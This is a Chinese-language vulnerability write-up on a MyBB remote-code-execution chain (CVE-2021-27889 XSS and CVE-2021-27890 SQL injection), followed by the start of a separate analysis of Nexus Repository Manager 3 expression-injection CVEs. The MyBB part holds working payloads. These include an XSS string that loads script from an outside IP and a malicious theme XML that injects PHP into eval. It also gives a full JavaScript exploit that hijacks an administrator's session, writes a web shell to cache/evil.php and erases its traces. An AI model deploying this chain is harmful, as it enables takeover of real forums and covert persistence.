`mycode_auto_url_callback()` 开头第一行代码 表明我们不能传入 a标签。因为 a标签 在前文的正则中 $matches
只有一个元素。这样将会被直接返回。而传入一个 url 时，由于正则设置了好几个分组，`$matches` 会有多个元素。
这段代码的原注释也说了，不解析 a 标签，只解析 url。
//原有的注释
// If we matched a preexisting link (the part of the regexes in mycode_auto_url() before the pipe symbol),
// then simply return it - we don't create links within existing links.
/*
$matches 为 preg_replace_callback 匹配到的所有值。类型为数组。如下：
0 = ")http://test.com/abc"
1 = ")"
2 = "http"
3 = "://"
4 = "test.com/abc"
5 = ""
6 = ""
7 = "/ab"
8 = "b"
9 = "c"
*/
function mycode_auto_url_callback($matches=array()){
if(count($matches) == 1)
{
return $matches[0];
}
......
$url = "{$matches[2]}{$matches[3]}{$matches[4]}";
//调用 mycode_parse_url()。其功能是将 url 塞入到 a标签中并返回
return $matches[1].$this->mycode_parse_url($url, $url).$external;
}
function mycode_parse_url($url, $name=""){
.....
//$templates->get() 中获取 url 的模板，进行替换
eval("\$mycode_url = \"".$templates->get("mycode_url", 1, 0)."\";");
return $mycode_url;
}
所以 `mycode_auto_url` 里的 `preg_replace_callback` 的功能就是将一个url 塞进 a标签中。
最终页面输出
<a href="http://test.com/abc" target="_blank" rel="noopener" class="mycode_url">http://test.com/abc</a>
### 前后代码流程结合漏洞原理进行分析
前文说过，一般的 XSS的创建就两种方式：插入html标签 和 原有标签引号逃逸。
然后 mybb 中存在过滤机制，我们无法直接输入 尖括号 以及 在模板标签中输入引号将会不解析模板标签。
**既然我们无法输入尖括号和双引号，那能否让 mybb 为我们输入呢？**
mybb 会为 url 创建一个 a标签，会产生成 尖括号和引号。并且 mybb 还有自带的模板标签，也产生成 尖括号和引号。
如果我们将这两者放在一起，是否会产生尖括号逃逸或引号逃逸呢？
**payload调试**
测试 payload：（不能用 [url]，因为正则匹配那一段如果匹配到 a标签将会直接返回）
[img])http://evil.com/xx[/img]
[-- 理想输出 --]
<img src="<a href="http://evil.com/xx" ">http://evil.com/xx</a>/>
[-- 实际输出 --]
//没将[img]解析成 html
[img])<a href="http://evil.com/xx" target="_blank" rel="noopener" class="mycode_url">http://evil.com/xx</a>[/img]
跟进函数 `class_parser.php:459, postParser->parse_mycode()`，发现 `[img]` 需要符合以下 正则
才能被转换成 html
#\[img\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is
.......
发现关键正则 `(https?://([^<>\"']+?))`。这意味着 http:// 后面的值除了不能输入 引号 和 尖括号，其他都是可以随便输入的。
**重新构造 payload：**
注意payload 改成了 **.com/xx <span style=”color:red”>(</span>http://**
[img]http://evil.com/xx(http://evil.com/xx[/img]
[-- 输出 --]
<img src="http://evil.com/xx(<a href=" http:="" evil.com="" xx"="" target="_blank" rel="noopener" class="mycode_url">http://evil.com/xx" loading="lazy" alt="[Image: xx]" class="mycode_img" />
成功逃逸双引号！仔细观察发现：原 url 中的 `/` 在html中表示为 **每个属性的分割** ，即上面的 `http:=""` 、 `xx="=""`
等
`xx` 作为了`img` 属性值。我们将之修改为 onerror：
payload：
[img]http://evil.com/xx(http://evil.com/onerror=alert(1)[/img]
[-- 输出 --]
<img src="http://evil.com/xx(<a href=" http:="" evil.com="" onerror="alert(1)"" target="_blank" rel="noopener" class="mycode_url">
注意到 alert(1) 后面不正确的语句，console 也给我们报了错
直接使用注释符注释掉即可
payload：
[img]http://evil.com/xx(http://evil.com/onerror=alert(1)//[/img]
[-- 输出 --]
<img src="http://evil.com/xx(<a href=" http:="" evil.com="" onerror="alert(1)//"" target="_blank" rel="noopener" class="mycode_url">
成功弹窗！
## CVE-2021-27890初探
参考文章和漏洞通告中都提到了，通过 CVE-2021-27890 的 SQL注入 和 CVE-2021-27889 的 XSS 结合，可以让普通用户执行
RCE。那我们继续分析下 CVE-2021-27890 这个漏洞。
根据描述，是在导入 XML配置的主题 时写入恶意主题，并且在 导出、复制 或 访问主题 时触发漏洞
> Certain theme properties included in theme XML files are not escaped
> properly when included in SQL queries, leading to an SQL injection
> vulnerability.
>
> The vulnerability may be exploited when:
>
> 1. a forum administrator with the Can manage themes? permission imports a
> maliciously crafted theme,
> 2. a forum administrator uses the **Export** Theme or **Duplicate** Theme
> features in the Admin Control Panel, or
> a user, for whom the theme has been set, **visits** a forum page.
>
查看 commit，发现修改了3个文件6处代码，都是将 `$properties['templateset']` **强行转为 int类型**
。可推测这就是注入点。
**_admin/inc/functions_themes.php_**
_function import_theme_xml($xml, $options=array())_
**_admin/modules/style/themes.php_**
_function checkAction(id)_
**_inc/class_templates.php_**
_function cache($templates)_
_function get($title, $eslashes=1, $htmlcomments=1)_
整理获得的信息：后台导入主题时写入恶意主题，是 SQL注入，在导出、复制 或 访问主题 时触发漏洞，可造成 RCE。
综合这些信息可以简单推测漏洞大概成因：既然得是 导出、复制 或 访问主题时 触发，不难想到可能是
SSTI，也有可能是对主题配置进行解析时出现了一些问题；并且还有一个 SQl注入进行配合，则可能是通过
SQL注入篡改主题的某些属性或者标签，写入恶意代码，从而RCE。
### 简单测试
进入后台 `/admin/index.php` 找到主操作题的地方
`/admin/index.php?module=style-themes`
根据漏洞通告，优先找导出主题的操作，抓包得到导出主题的接口
POST /admin/index.php?module=style-themes&action=export
...... tid=1 & custom_theme=1 & include_templates=1
根据前面看 XSS 时发现的命名规则，全局搜索 `['action'] == "export"`。下断点慢慢看流程。
大概流程走完一遍后，结合 patch 定位到 _admin/modules/style/themes.php_ 如下代码。发现这是一个可能是一个
**二次注入**
//数据库中查找对应 tid 的数据
$query = $db->simple_select("themes", "*", "tid='".$mybb->get_input('tid', MyBB::INPUT_INT)."'");
$theme = $db->fetch_array($query);
//$properties 为数据库中 properties字段的反序列化
$properties = my_unserialize($theme['properties']);
//ps:不清楚 properties字段是如何被赋值的，需要去调试下导入主题的接口来确定如何构造 $properties 的值
......
if($mybb->input['include_templates'] != 0)
{
......
// ++ !!! ++
//没对 $properties 进行引号消毒，可产生二次注入
//注入参数为 $properties['templateset']
//结合 SQL 语句可知，templateset 为 sid
$query = $db->simple_select("templates", "*", "sid='".$properties['templateset']."'");
// -- !!! --
while($template = $db->fetch_array($query))
{
$template['template'] = str_replace(']]>', ']]]]><![CDATA[>', $template['template']);
// ++ !!! ++
//将 $template 的一些属性值 放入了 $xml 中
$xml .= "...{$template['title']}...{$template['version']}...{$template['template']}...";
// -- !!! -- }
......
}
由于我们不清楚 `properties`字段 是如何被赋值的，需要去调试下 **导入主题** 的接口来确定如何构造 `$properties` 的值
导入主题前先瞄瞄题配置文件长啥样：
<?xml version="1.0" encoding="UTF-8"?>
<theme name="Default" version="1825">
//properties 标签
<properties>
//ps：注意这里的 templateset。值为 1。也许上文代码中
//$properties['templateset'] 就出自这里
<templateset><![CDATA[1]]></templateset>
<imgdir><![CDATA[images]]></imgdir>
<logo><![CDATA[images/logo.png]]></logo>
<tablespace><![CDATA[5]]></tablespace>
<borderwidth><![CDATA[0]]></borderwidth>
<editortheme><![CDATA[mybb.css]]></editortheme>
......
再将这个主题导入，抓包得到接口为 `/admin/index.php?module=style-themes&action=import`。对应去源码中查找
`import` 的 action。搜索 `['action'] == "import"`。下断看看流程。
......
//读取上传文件的内容
$contents = @file_get_contents($_FILES['local_file']['tmp_name']);
......
//[(call) 调用了 import_theme_xml() 方法，以下为import_theme_xml()的代码 ]
function import_theme_xml($xml, $options=array()){
//$xml 就是上面的 $contents
$parser = new XMLParser($xml);
$tree = $parser->get_tree();
$theme = $tree['theme'];
......
//将 XML中 properties标签 里头的 子标签 抽出来
//存入 $properties中
foreach($theme['properties'] as $property => $value){
......
$properties[$property] = $value['value'];
}
//往下重点追踪 $properties
}
......
//[(call) 调用了 build_new_theme() 方法，以下为build_new_theme()的代码 ]
function build_new_theme($name, $properties=null, $parent=1){
......
//$properties为上面的 $properties
//序列化 $properties。
$updated_theme['properties'] = $db->escape_string(my_serialize($properties));
//更新数据库
//数据库为 themes
$db->update_query("themes", $updated_theme, "tid='{$tid}'");
}
简单走了一遍导入流程可知， `export` action 中的 `$properties['templateset']` 就是 XML 中
`properties` 标签里头的 `templateset` 标签
### 后台SQL注入
综上所述，SQL注入的触发流程为：
1. 导入一个恶意 XML格式的主题，`properties` 标签中的 `templateset` 为 SQL payload
2. 导出该恶意主题。使 `templateset` payload 注入
下载默认 Theme。修改 `templateset` 值为
ps：由于这个注入查询的是 `mybb_templates` 表，该表数据量贼大，如果直接用 `or sleep(1)#` 会导致卡死
<templateset><![CDATA[0' union select 1,2,3,4,5,6,7#]]></templateset>
**导入** 主题之后，直接去翻数据库可以发现， `templateset` 的值已经成功被修改
再尝试 **导出** 对应 `tid` 的主题，调试如下：
......
//$properties['templateset'] 值为 ' and sleep(5)#
$query = $db->simple_select("templates", "*", "sid='".$properties['templateset']."'");
//[(call) 调用了 simple_select() 方法，simple_select()的代码 ]
function simple_select($table, $fields="*", $conditions="", $options=array()){
$query = "SELECT ".$fields." FROM ".$this->table_prefix.$table;
if($conditions != "")
{
$query .= " WHERE ".$conditions;
}
//此时的 $query值为
// SELECT * FROM mybb_templates WHERE sid='0' union select 1,2,3,4,5,6,7#'
.......
$query = @mysqli_query($this->read_link, $string);
......
//执行SQL，return $query
}
成功注入！
### 污染 eval 导致 RCE
做完这些工作，我们把 **_admin/modules/style/themes.php_** （ _Export Theme_ 和 _Duplicate
Theme_ ，这两流程差不多） 和 **_admin/inc/functions_themes.php_** （ _Import Theme_
）patch 的位置都走了遍流程。但并没发现能 RCE 的地方。。
不过 **_inc/class_templates.php_** 这个文件里的 patch 我们还没看，说不定就是这里。
在 _inc/class_templates.php_ 中 patch的函数为 `get()` 和 `cache()`。
我们先回溯 `get()`。不搜不知道，一搜吓一跳，`get()` 被调用的地方全是 `eval()`
粗略看了下调用点，就选前文 XSS 中调用过的 `mycode_parse_img()` 来测试吧。毕竟前面走过一遍 XSS 的调用流程，相对熟悉一点。
从入口点 到`mycode_parse_img()` 再到 `get()` 的调用流程是这样的（有一大部分是前面 XSS 时的流程）：
newreply.php newreply action -- 入口点
//下面这三个就是 XSS时调用的解析 [img] 的函数
inc/class_parser.php parse_message()
inc/class_parser.php parse_mycode()
inc/class_parser.php mycode_parse_img_callback1()
inc/class_parser.php mycode_parse_img() -- 执行 eval
inc/class_templates.php get() -- SQL注入点
仔细观察 SQL注入点 `inc/class_templates.php get()`。将这个函数简单整理如下：
//inc/class_parser.php mycode_parse_img() 的 eval()
//注意到调用 get() 时，传入的参数都是固定死的
eval("\$mycode_img = \"".$templates->get("mycode_img", 1, 0)."\";");
//[(call) 调用了 get() 方法，以下为get()的代码 ]
function get($title, $eslashes=1, $htmlcomments=1){
//全局变量 $theme。为当前管理员设置的主题
global $db, $theme, $mybb;
//$title 就是eval() 调用时的 "mycode_img"
//这里有个前提条件，必须得 $this->cache[$title] 不存在。可是 $this->cache 已经预定义了超多 title。
if(!isset($this->cache[$title]))
{
//注入点 $theme['templateset']
//值得注意的是，$theme['templateset'] 被包裹在小括号中需要逃逸
$query = $db->simple_select("templates", "template", "title='".$db->escape_string($title)."' AND sid IN ('-2','-1','".$theme['templateset']."')", ......);
$gettemplate = $db->fetch_array($query);
$this->cache[$title] = $gettemplate['template'];
}
$template = $this->cache[$title];
//这里返回了 $template
//如果我们能通过 SQL注入控制 $gettemplate['template']
//就能控制返回的 $template
//从而污染调用者 eval 的内容
return $template;
}
发现了一个眼熟的东西 `$theme['templateset']`。这是不是就是前文 SQL注入的那个参数呢？溯源 `$theme`。发现确实如此：
//global.php
......
$loadstyle = "tid = '{$mybb->user['style']}'";
......
//themes 主题表，前文的SQL注入 payload 就是 写进 了这张表里
$query = $db->simple_select('themes', 'name, tid, properties, stylesheets, allowedgroups', $loadstyle, array('limit' => 1));
$theme = $db->fetch_array($query);
在 `get()` 中，只要我们能够执行到 SQL 语句，就可以RCE了。
可是我们得先进入判断 `if(!isset($this->cache[$title]))` 才行，但 `$this->cache` 是在数据库中
`mybb_templates` 表中的 `title` 字段，默认多达955行
这时我们就要去找那些在 `$this->cache` 中不存在的 `title`，这样才能顺利进入判断；或者去寻找 `eval` 调用时，传入的
`$title` 可控的点。
**编个正则来查找：**
\$templates\-\>get\([\"\'](?!error|error_inline|....)[\w0-9_]*
搜完一圈，居然没有一处地方是 `title` 不存在的。既然 `title` 都存在，自然无法进入代码中 `if` 判断，也就无法进行 SQL 注入了。
### 重整思路
无法进入 `if` 判断，我们找一找 `$this->cache` 是在哪里初始化的，尝试绕过 `$this->cache`
发现在 `inc/class_templates.php` 的 `cache()` 中进行了 `$this->cache` 的初始化
//index.php 入口文件
......
require_once './global.php';
......
//global.php 中
......
$templatelist = "headerinclude......";
$templates->cache($db->escape_string($templatelist));
//[(call) 调用了 cache() 方法，以下为cache()的代码 ]
function cache($templates)
{
global $db, $theme;
......
//意外发现这里使用了 $theme['templateset']
//这里也是一个注入点
//此时我们可以通过SQL注入来篡改 $this->cache 的值了
$query = $db->simple_select("templates", "title,template", "title IN (''$sql) AND sid IN ('-2','-1','".$theme['templateset']."')", array('order_by' => 'sid', 'order_dir' => 'asc'));
//上面这段 SQL 语句为：
//SELECT title,template FROM mybb_templates WHERE title IN ('...') AND sid IN ('-2','-1','$theme['templateset']')
//
//将 $query 查出来的赋值给 cache
while($template = $db->fetch_array($query))
{
$this->cache[$template['title']] = $template['template'];
}
}
通过上面的代码我们可以篡改 `$this->cache` 的值。既然 `$this->cache` 能够被控制，那自然而然前文中 return 的
`$template` 也能够被控制了。
SQL的触发点有了，接下来寻找 `eval` 的触发点。发现前台的入口文件 `index.php` 首先引入了 `global.php`，并且在
`global.php` 发现一堆的调用点。所以只要我们访问首页就会触发。
**不过这里需要注意个小问题：**
在 `cache()` 中，SQL语句是两个字段
SELECT title,template ......
而在 `get()` 中，SQL语句是一个字段
SELECT template ......
而我们注入的 payload 只能输一次。。这就尴尬了。。
**注意：**
假设我们控制 `$this->cache` 为不存在的一个 `title` 。会执行 `get()` 的 SQL语句。但此时我们的 payload
肯定是两个字段的payload。无法在一个字段的 `get()` 的SQL语句中执行。
所以我们必须找到 **第一个** `eval()` 调用点，将 `$this->cache` 的 `title` 设置为对应的 `title`。这样在
`get()` 中就不会执行 SQL语句直接返回恶意 `$template` 了。
`glboa.php` 是 mybb 第一个引入的文件，经过测试发现，下面这段代码是当用户为 **普通用户** 时，第一个被执行的 `eval()` 点
if($mybb->usergroup['canusercp'] == 1)
{
eval('$usercplink = "'.$templates->get('header_welcomeblock_member_user').'";');
}
那么我们只需要设置 `$this->cache` 的 `title` 为 _header_welcomeblock_member_user_ 即可
**构造 payload**
整理下现在的信息
1. `eval()` 内容部分可控，可控部分取决于 `get()` 的返回值
2. `get()` 内部通过 `$this->cache[$title]`，返回 `$template`
3. mybb 初始化 `global.php`时调用了 `cache()`，`cache()`是用于初始化 `$this->cache[$title]` 的
4. 我们可以通过 SQL 注入控制 `$this->cache`的值，从而污染`$template`，使得恶意代码进入 `eval`
5. `get()` 在 `global.php` 的 _header_welcomeblock_member_user_ 这一段中第一次触发
</br>
**思考攻击步骤**
1. 导入包含SQL注入paylaod 的 XML主题配置文件，使 `templateset` 为注入语句
2. 切换 mybb 主题为新增的恶意主题，不然 `$theme` 无法切换到恶意的 `templateset`
3. 访问首页即可 RCE
### poc
**恶意主题文件：**
......
<properties>
<templateset><![CDATA[999') and 1=2 union select 'header_welcomeblock_member_user','${phpinfo()}'#]]></templateset>
......
**导入恶意主题文件**
**切换当前主题为恶意主题**
**访问下首页：**
_调用到`cache()` 时，`theme['templateset']`的值：_
`cache()` 中执行的 SQL语句：
SELECT title,template FROM mybb_templates
WHERE title IN (......)
AND sid IN ('-2','-1','999')
and 1=2 /* 强行使前面的语句返回空行 */
union select 'header_welcomeblock_member_user','${phpinfo()}'
#')
成功在 cache 中写入了恶意代码。
随后在 `global.php` 中调用了
eval('$usercplink = "'.$templates->get('header_welcomeblock_member_user').'";');
在 `get()` 函数中，查询 `$this->cache`，存在对应的 `title` ，直接返回 `$this->cache[$title]`
最终返回到 eval 中执行，成功 RCE
不过由于我们篡改了开头的 SQL语句，所以 mybb会报错很正常。最好通过这个 RCE 写个马到 _cache_ 或者 _upload_
目录之后，就将主题还原。
### 两个漏洞结合使普通用户可 RCE
由于前文的 RCE 需要管理员权限，普通用户无法直接触发。但现在有了一个 XSS ，可以尝试 **通过 XSS 发送对应的 payload请求** 。
_ps：无法在前台处盗取 cookie，因为 mybb 设置了`SameSite`为 `Lax`_
**XSS**
根据前文的 XSS漏洞分析可知，我们无法直接使用引号、尖括号和中括号。经过尝试构造以下 XSS payload 以插入一个js标签
_ps：前文分析XSS时是在回复处分析的，实际上发帖处也存在XSS_
//拿到 / 字符
xs1=String.fromCharCode(47);
//创建 script 元素
xa1=document.createElement(/script/.source);
//设置 script src属性
xa1.src=xs1+xs1+/192.168.92.165/.source+xs1+/1.js/.source;
//插入 script 标签
document.getElementById(/header/.source).append(xa1);
数据包：
POST /newthread.php?fid=2&processed=1 HTTP/1.1
......
Content-Disposition: form-data; name="message"
[img]http://evil.com/xx(http://evil.com/onerror=xs1=String.fromCharCode(47);xa1=document.createElement(/script/.source);xa1.src=xs1+xs1+/192.168.92.165/.source+xs1+/1.js/.source;document.getElementById(/header/.source).append(xa1);//[/img]
......
成功插入后，编写恶意 js文件，执行以下操作：
1. 获取后台当前的配置主题
2. 导入恶意主题XML配置，RCE代码为往 cache 目录写一个马
3. 设置当前主题为恶意主题
4. 请求首页，触发 RCE
5. 将当前主题设回原来的
6. 删除恶意主题
以上的请求可以通过 javascript 的 xmlhttp 来实现，由于是 xss 也就不存在跨域的问题了。
**RCE JS EXP：**
修改下 SQL注入的payload。
我们目前要打的是管理员，但mybb中前台和后台的 Cookie 是分开验证，我们要考虑如下情况：
1. 管理员前后台都登陆了
2. 管理员前台登陆普通用户，后台登陆管理员
3. 管理员前面没登陆，后台登陆管理员
三种情况对应着不一样的 `eval` 入口。
**管理员** 的第一个 eval 调用点为 _header_welcomeblock_member_admin_
**普通用户** 的第一个 eval 调用点为 _header_welcomeblock_member_user_
**匿名账户** 的第一个 eval 调用点为 header_welcomeblock_guest_login_modal*
var bashurl = 'http://192.168.92.164/mybb/mybb-mybb_1825'
var my_post_key = ''
var source_theme = '';
var evil_theme_set = ''
var evil_theme_tid = ''
function sleep (time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
function get_themes(){
var url = bashurl + '/admin/index.php?module=style'
var xhr=new XMLHttpRequest();
xhr.open('GET',url,false);
xhr.onreadystatechange=function(){
if(xhr.readyState==4){
if(xhr.status==200 || xhr.status==304){
var res = xhr.responseText;
var parser = new DOMParser();
var doc3 = parser.parseFromString(res, "text/html");
var source_theme_tid = '';
imgs = doc3.getElementsByTagName("img");
for(var i=0;i<imgs.length;i++){
if(imgs[i].alt == 'Default Theme'){
source_theme_tid = imgs[i]
break
}
}
source_theme_tid = source_theme_tid.parentNode.nextElementSibling.firstElementChild.firstElementChild
source_theme_tid = source_theme_tid.href.split('tid=')[1]
//获取 csrf token
var postKey = doc3.getElementById('welcome').lastElementChild
my_post_key = postKey.href.split('my_post_key=')[1]
//还原默认主题的接口 url
source_theme = bashurl + '/admin/index.php?module=style-themes&action=set_default&tid=' + source_theme_tid + '&my_post_key=' + my_post_key
}
}
}
xhr.send();
}
function import_xml(){
var formData = new FormData();
var url = bashurl + '/admin/index.php?module=style-themes&action=import'
formData.append("my_post_key", my_post_key);
formData.append("import", 0);
formData.append("url", "");
formData.append("tid", "1");
formData.append("name", "evilTheme1");
formData.append("import_stylesheets", "1");
formData.append("import_templates", "1");
//需要使程序中的 $this->cache 存在以下三个 title。才能确保一定能触发 RCE
//header_welcomeblock_member_user //普通用户的第一个 evil调用点
//header_welcomeblock_member_admin //管理员用户的第一个 evil调用点
//header_welcomeblock_guest_login_modal //匿名用户的第一个 evil调用点
var content = [
'<?xml version="1.0" encoding="UTF-8"?>',
'<theme name="Default" version="1825">',
'<properties>',
'<templateset><![CDATA[999\') and 1=2 union select \'header_welcomeblock_member_user\',\'${file_put_contents($_GET[0],$_GET[1])};\' union select \'header_welcomeblock_member_admin\',\'${file_put_contents($_GET[0],$_GET[1])};\' union select \'header_welcomeblock_guest_login_modal\',\'${file_put_contents($_GET[0],$_GET[1])};\'#]]></templateset>',
'<imgdir><![CDATA[images]]></imgdir>',
'<logo><![CDATA[images/logo.png]]></logo>',
'<tablespace><![CDATA[5]]></tablespace>',
'<borderwidth><![CDATA[0]]></borderwidth>',
'<editortheme><![CDATA[mybb.css]]></editortheme>',
'<disporder></disporder>',
'<colors></colors>',
'</properties>',
'<stylesheets>',
'<stylesheet name="color_black.css" attachedto="black" version="1825">',
'</stylesheet>',
'</stylesheets>',
'<templates>',
'</templates>',
'</theme>'
].join('\n');
var blob = new Blob([content], { type: "text/xml"});
formData.append("local_file", blob);
var request = new XMLHttpRequest();
request.open("POST", url);
request.send(formData);
}
function set_evil_theme(){
var url = bashurl + '/admin/index.php?module=style'
var xhr=new XMLHttpRequest();
xhr.open('GET',url,false);
xhr.onreadystatechange=function(){
if(xhr.readyState==4){
if(xhr.status==200 || xhr.status==304){
var res = xhr.responseText;
var evil_theme = '';
var parser = new DOMParser();
var doc3 = parser.parseFromString(res, "text/html");
aTag = doc3.getElementsByTagName("a")
for(var i=0;i<aTag.length;i++){
if(aTag[i].innerHTML == 'evilTheme1'){
evil_theme = aTag[i]
break
}
}
//获取设置默认主题的接口 url
evil_theme_set = evil_theme.parentNode.parentNode.previousElementSibling.firstElementChild.href
evil_theme_set = evil_theme_set.replace('index.php','admin/index.php')
console.log('evil_theme_set: ' + evil_theme_set)
//获取恶意主题的tid
evil_theme_tid = evil_theme.href.split('tid=')[1]
console.log('evil_theme_tid: ' + evil_theme_tid)
}
}
}
xhr.send();
//设置默认主题
var xhr2=new XMLHttpRequest();
xhr2.open('GET',evil_theme_set,false);
xhr2.send();
}
function trigger_rce(){
//访问首页触发 RCE
var xhr=new XMLHttpRequest();
xhr.open('GET',bashurl + '/index.php?0=cache/evil.php&1=<?php eval($_GET[100]);?>',false);
xhr.send();
}
function clean(){
// 重置默认主题
var xhr1=new XMLHttpRequest();
xhr1.open('GET',source_theme,false);
xhr1.send();
//删除恶意主题
var xhr2 = new XMLHttpRequest();
var formData = new FormData();
var url = bashurl + '/admin/index.php?module=style-themes&action=delete&tid=' + evil_theme_tid
formData.append("my_post_key", my_post_key);
xhr2.open("POST", url);
xhr2.send(formData);
}
//获取当前默认主题
get_themes()
//如果获取不到 csrf_token
//说明不是 管理员访问
if(my_post_key != ''){
//导入恶意主题
import_xml()
sleep(300).then(() => {
//设置恶意主题为当前默认主题
set_evil_theme()
//触发 RCE
trigger_rce()
//删除主题，还原默认主题
clean()
})
}
**验证：**
触发 XSS，恶意js发送的请求：
后台的模板管理没有变化：
成功写马：
# Reference：
<https://blog.sonarsource.com/mybb-remote-code-execution-chain> | 社区文章 |
**作者：Longofo@知道创宇404实验室
时间：2020年4月8日 **
Nexus Repository Manager
3最近曝出两个el表达式解析漏洞，编号为[CVE-2020-10199](https://support.sonatype.com/hc/en-us/articles/360044882533)，[CVE-2020-10204](https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31)，都是由Github Secutiry
Lab团队的@pwntester发现。由于之前Nexus3的漏洞没有去跟踪，所以当时diff得很头疼，并且Nexus3
bug与安全修复都是混在一起，更不容易猜到哪个可能是漏洞位置了。后面与@r00t4dm师傅一起复现出了[CVE-2020-10204](https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31)，[CVE-2020-10204](https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31)是[CVE-2018-16621](https://support.sonatype.com/hc/en-us/articles/360010789153-CVE-2018-16621-Nexus-Repository-Manager-Java-Injection-October-17-2018)的绕过，之后又有师傅弄出了[CVE-2020-10199](https://support.sonatype.com/hc/en-us/articles/360044882533)，这三个漏洞的根源是一样的，其实并不止这三处，官方可能已经修复了好几处这样的漏洞，由于历史不太好追溯回去，所以加了可能，通过后面的分析，就能看到了。还有之前的[CVE-2019-7238](https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-2019-02-05)，这是一个jexl表达式解析，一并在这里分析下，以及对它的修复问题，之前看到有的分析文章说这个漏洞是加了个权限来修复，可能那时是真的只加了个权限吧，不过我测试用的较新的版本，加了权限貌似也没用，在Nexus3高版本已经使用了jexl白名单的沙箱。
#### 测试环境
文中会用到三个Nexus3环境：
* nexus-3.14.0-04
* nexus-3.21.1-01
* nexus-3.21.2-03
`nexus-3.14.0-04`用于测试jexl表达式解析，`nexus-3.21.1-01`用于测试jexl表达式解析与el表达式解析以及diff，`nexus-3.21.2-03`用于测试el表达式解析以及diff
#### 漏洞diff
CVE-2020-10199、CVE-2020-10204漏洞的修复界限是3.21.1与3.21.2，但是github开源的代码分支好像不对应，所以只得去下载压缩包来对比了。在官方下载了`nexus-3.21.1-01`与`nexus-3.21.2-03`，但是beyond对比需要目录名一样，文件名一样，而不同版本的代码有的文件与文件名都不一样。我是先分别反编译了对应目录下的所有jar包，然后用脚本将`nexus-3.21.1-01`中所有的文件与文件名中含有3.21.1-01的替换为了3.21.2-03，同时删除了META文件夹，这个文件夹对漏洞diff没什么用并且影响diff分析，所以都删除了，下面是处理后的效果：
如果没有调试和熟悉之前的Nexus3漏洞，直接去看diff可能会看得很头疼，没有目标的diff。
#### 路由以及对应的处理类
##### 一般路由
抓下nexus3发的包，随意的点点点，可以看到大多数请求都是POST类型的，URI都是`/service/extdirect`：
post内容如下：
{"action":"coreui_Repository","method":"getBrowseableFormats","data":null,"type":"rpc","tid":7}
可以看下其他请求，json中都有`action`与`method`这两个key，在代码中搜索下`coreui_Repository`这个关键字：
可以看到这样的地方，展开看下代码：
通过注解方式注入了action，上面post的`method->getBrowseableFormats`也在中，通过注解注入了对应的method：
所以之后这样的请求，我们就很好定位路由与对应的处理类了
##### API路由
Nexus3的API也出现了漏洞，来看下怎么定位API的路由，在后台能看到Nexus3提供的所有API。
点几个看下包，有GET、POST、DELETE、PUT等类型的请求：
没有了之前的action与method，这里用URI来定位，直接搜索`/service/rest/beta/security/content-selectors`定位不到，所以缩短关键字，用`/beta/security/content-selectors`来定位：
通过@Path注解来注入URI，对应的处理方式也使用了对应的@GET、@POST来注解
可能还有其他类型的路由，不过也可以使用上面类似的方式进行搜索来定位。还有Nexus的权限问题，可以看到上面有的请求通过@RequiresPermissions来设置了权限，不过还是以实际的测试权限为准，有的在到达之前也进行了权限校验，有的操作虽然在web页面的admin页面，不过本不需要admin权限，可能无权限或者只需要普通权限。
#### buildConstraintViolationWithTemplate造成的几次Java EL漏洞
在跟踪调试了[CVE-2018-16621](https://support.sonatype.com/hc/en-us/articles/360010789153-CVE-2018-16621-Nexus-Repository-Manager-Java-Injection-October-17-2018)与[CVE-2020-10204](https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31)之后，感觉`buildConstraintViolationWithTemplate`这个keyword可以作为这个漏洞的根源，因为从调用栈可以看出这个函数的调用处于Nexus包与hibernate-validator包的分界，并且计算器的弹出也是在它之后进入hibernate-validator的处理流程，即`buildConstraintViolationWithTemplate(xxx).addConstraintViolation()`，最终在hibernate-validator包中的ElTermResolver中通过`valueExpression.getValue(context)`完成了表达式的执行，与@r00t4dm师傅也说到了这个：
于是反编译了Nexus3所有jar包，然后搜索这个关键词（使用的修复版本搜索，主要是看有没有遗漏的地方没修复；Nexue3有开源部分代码，也可以直接在源码搜索）：
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\com\sonatype\nexus\plugins\nexus-healthcheck-base\3.21.2-03\nexus-healthcheck-base-3.21.2-03\com\sonatype\nexus\clm\validator\ClmAuthenticationValidator.java:
26 return this.validate(ClmAuthenticationType.valueOf(iqConnectionXo.getAuthenticationType(), ClmAuthenticationType.USER), iqConnectionXo.getUsername(), iqConnectionXo.getPassword(), context);
27 } else {
28: context.buildConstraintViolationWithTemplate("unsupported annotated object " + value).addConstraintViolation();
29 return false;
30 }
..
35 case 1:
36 if (StringUtils.isBlank(username)) {
37: context.buildConstraintViolationWithTemplate("User Authentication method requires the username to be set.").addPropertyNode("username").addConstraintViolation();
38 }
39
40 if (StringUtils.isBlank(password)) {
41: context.buildConstraintViolationWithTemplate("User Authentication method requires the password to be set.").addPropertyNode("password").addConstraintViolation();
42 }
43
..
52 }
53
54: context.buildConstraintViolationWithTemplate("To proceed with PKI Authentication, clear the username and password fields. Otherwise, please select User Authentication.").addPropertyNode("authenticationType").addConstraintViolation();
55 return false;
56 default:
57: context.buildConstraintViolationWithTemplate("unsupported authentication type " + authenticationType).addConstraintViolation();
58 return false;
59 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\hibernate\validator\hibernate-validator\6.1.0.Final\hibernate-validator-6.1.0.Final\org\hibernate\validator\internal\constraintvalidators\hv\ScriptAssertValidator.java:
34 if (!validationResult && !this.reportOn.isEmpty()) {
35 constraintValidatorContext.disableDefaultConstraintViolation();
36: constraintValidatorContext.buildConstraintViolationWithTemplate(this.message).addPropertyNode(this.reportOn).addConstraintViolation();
37 }
38
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\hibernate\validator\hibernate-validator\6.1.0.Final\hibernate-validator-6.1.0.Final\org\hibernate\validator\internal\engine\constraintvalidation\ConstraintValidatorContextImpl.java:
